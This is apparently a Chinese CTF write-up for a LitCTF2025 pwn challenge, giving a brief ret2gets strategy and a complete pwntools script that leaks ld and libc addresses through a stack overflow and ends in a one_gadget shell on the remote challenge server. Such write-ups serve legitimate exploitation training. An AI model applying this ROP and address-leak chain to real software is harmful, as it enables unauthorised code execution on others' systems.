题目
题目链接
攻击思路
没啥好说，就是 ret2gets
但是本地和远程的系统环境不同，导致 leak tls 后情况不一致
远程挺简单的， libc 与 tls 的偏移固定
但我的本地环境 leak 出的是与 ld 相关的地址，这就需要利用 ld 中的 gadget 再去 leak libc
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
| from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']
debug = 0
if debug:
io = process('./pwn_patched')
else:
io = remote('node4.anna.nssctf.cn', 21460)
rw_addr = 0x404400
gets_plt = 0x401080
puts_plt = 0x401060
again_addr = 0x4011B1
def attack():
payload = b'A' * 32 + p64(rw_addr) + p64(gets_plt) + p64(gets_plt) + p64(puts_plt) + p64(again_addr)
io.sendlineafter(b'LitCTF2025!\n', payload)
io.sendline(b'A' * 8 + b'\x00' * 6)
io.sendline(b'A' * 4)
io.recv(8)
anon_base = u64(io.recv(6).ljust(8, b'\x00')) - 0x740
log.info(f'anon_base = {hex(anon_base)}')
ld_base = anon_base + 0xc000
log.info(f'ld_base = {hex(ld_base)}')
pop_rdi_pop_rbp_ret = ld_base + 0x23dcc
payload = b'A' * 32 + p64(rw_addr) + p64(pop_rdi_pop_rbp_ret) + p64(anon_base + 0x6c0) + p64(rw_addr) + p64(puts_plt) + p64(again_addr)
io.sendlineafter(b'LitCTF2025!\n', payload)
libc_base = u64(io.recv(6).ljust(8, b'\x00')) - 0x20b680
log.info(f'libc_base = {hex(libc_base)}')
pop_rbx_ret = libc_base + 0x586e4
pop_r12_ret = libc_base + 0x110951
onegadget = libc_base + 0xef4ce
payload = b'A' * 32 + p64(rw_addr) + p64(pop_rbx_ret) + p64(0) + p64(pop_r12_ret) + p64(0) + p64(onegadget)
io.sendlineafter(b'LitCTF2025!\n', payload)
io.interactive()
attack()
|
